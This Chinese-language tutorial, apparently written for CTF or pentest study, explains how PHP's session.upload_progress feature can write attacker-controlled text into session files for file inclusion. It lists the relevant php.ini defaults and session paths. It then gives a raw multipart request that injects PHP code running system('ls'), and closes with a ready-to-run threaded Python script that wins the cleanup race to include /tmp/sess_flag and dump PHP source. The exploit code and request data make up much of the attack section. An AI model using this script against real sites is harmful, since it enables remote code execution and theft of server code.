利用session.upload_progress进行文件包含和反序列化渗透
文件包含骚姿势——利用session.upload_progress进行文件包含
php中的session.upload_progress
:::warning
此特性自 PHP 5.4.0 后可用。
:::
在php.ini有以下几个默认选项
https://www.php.net/manual/zh/session.upload-progress.php
https://www.php.net/manual/zh/session.configuration.php
选项 | 默认配置 | 简介 |
---|---|---|
session.upload_progress.enabled | On | 启用上传进度跟踪,把文件上传的详细信息(如上传时间、上传进度等)存储在session当中 |
session.upload_progress.cleanup | On | 一旦所有POST数据被读取(即上传完成),立即清理进度信息,即清空对应session文件中的内容,但不会删除该文件本身 |
session.upload_progress.prefix | uploadprogress | 用于$_SESSION中的上传进度键的前缀。这个键将与$_POST[ini_get(“session.upload_progress.name”)]的值相连接,以提供一个唯一的索引 |
session.upload_progress.name | PHP_SESSION_UPLOAD_PROGRESS | 在$_SESSION中用于存储进度信息的键的名称。参见session.upload_progress.prefix。如果$_POST[ini_get(“session.upload_progress.name”)]没有通过或可用,上传进度将不会被记录 当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控; |
session.upload_progress.freq | 1% | 定义上传进度信息的更新频率。这可以以字节为单位(即 “每100字节后更新进度信息”),或以百分比为单位(即 “每收到整个文件大小的1%后更新进度信息”) |
session.upload_progress.min_freq | 1 | 更新之间的最小延迟,单位是秒 |
session.use_strict_mode | 0 | session.use_strict_mode 设置是否启用严格 session id 模式。 开启此模式后,模块不会接受未初始化过的 session ID。 从浏览器端传入未初始化的 session ID 后,将会发送一个新的 session ID 给它。 通过 session 启用严格模式可固定 session 以保护应用 |
session.save_path | /tmp | 定义了传递给存储处理器的参数。如果选择了默认的 files 文件处理器,则此值是创建文件的路径 |
session是以文件的形式保存的
php.ini中有个配置项session.save_path
,这个里面填写的路径,将会使session文件保存在该路径下。
session文件的命名格式是:sess_[PHPSESSID的值]
。每一个文件,里面保存了一个会话的数据。其实只要使用代码$_SESSION['user_id'] = $value;
就会促发php的session机制,结果往对应的session文件中写入一个值。
1.session文件默认路径
- Linux:
- /tmp(常见)
- /tmp/sessions/
- /var/lib/php
- /var/lib/php/session
- /var/lib/php/sessions
Windows
代码里面有
session_start()
在使用类似$_SESSION['user_id'] = $value;
这样的操作时会创建session文件如果
session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()
,但默认情况下,这个选项都是关闭的4.如何控制session文件内容
session的key或者value可控
- 用session.upload_progress
在session.upload_progress.enabled = on
的配置下,upload_progress功能开始意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度,上传文件名等)存储在session当中 ,但是要注意session.upload_progress.cleanup = on
配置,on表示当文件上传结束后,php将会立即清空对应session文件中的内容(但是可以利用条件竞争来读取)
如 session.upload_progress.prefix = 'upload_progress_'
session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'
的条件下,上传文件:
// PHPSESSION = test
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
就会在session的session[‘upload_progress_123’]
中储存一些本次上传相关的信息,储存在/tmp/sess_test
在session中存放的数据看上去是这样子的:
示例
<html>
<body>
<form action="a.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
数据包如下
POST /a.php?file=/Applications/MAMP/tmp/php/sess_haha HTTP/1.1
Host: localhost
Cookie: PHPSESSID=haha
Content-Length: 339
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya4AE1GRBkEYq7gSi
------WebKitFormBoundarya4AE1GRBkEYq7gSi
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('ls');?>
------WebKitFormBoundarya4AE1GRBkEYq7gSi
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/php
This_Is_File_Content
------WebKitFormBoundarya4AE1GRBkEYq7gSi--
此时临时目录中有两个文件
其中,sess_haha文件内容如下
upload_progress_<?php system('ls');?>|a:5:{s:10:"start_time";i:1638613364;s:14:"content_length";i:339;s:15:"bytes_processed";i:339;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:9:"shell.php";s:8:"tmp_name";s:36:"/Applications/MAMP/tmp/php/phpBXsoEv";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1638613364;s:15:"bytes_processed";i:21;}}}
phpBXsoEv文件内容为
This_Is_File_Content
文件包含只能包含确定的文件名,所以不能包含临时文件phpBXsoEv
,因为文件上传产生的临时文件名不确定,为php+6位大小写随机字母
因此只能包含我们能够控制文件名的文件,即sess_haha,我们可以通过设置Cookie: PHPSESSID=haha
达到控制文件名的作用,sess_haha这个文件内容包含的是文件上传的详细信息(如上传时间、上传进度等),但是文件内容也是我们可以控制的,通过控制PHP_SESSION_UPLOAD_PROGRESS
我们可以写入一句话木马,达到rce的目的
脚本利用
import io
import requests
import threading
sessID = 'flag'
url = ''
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)
def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()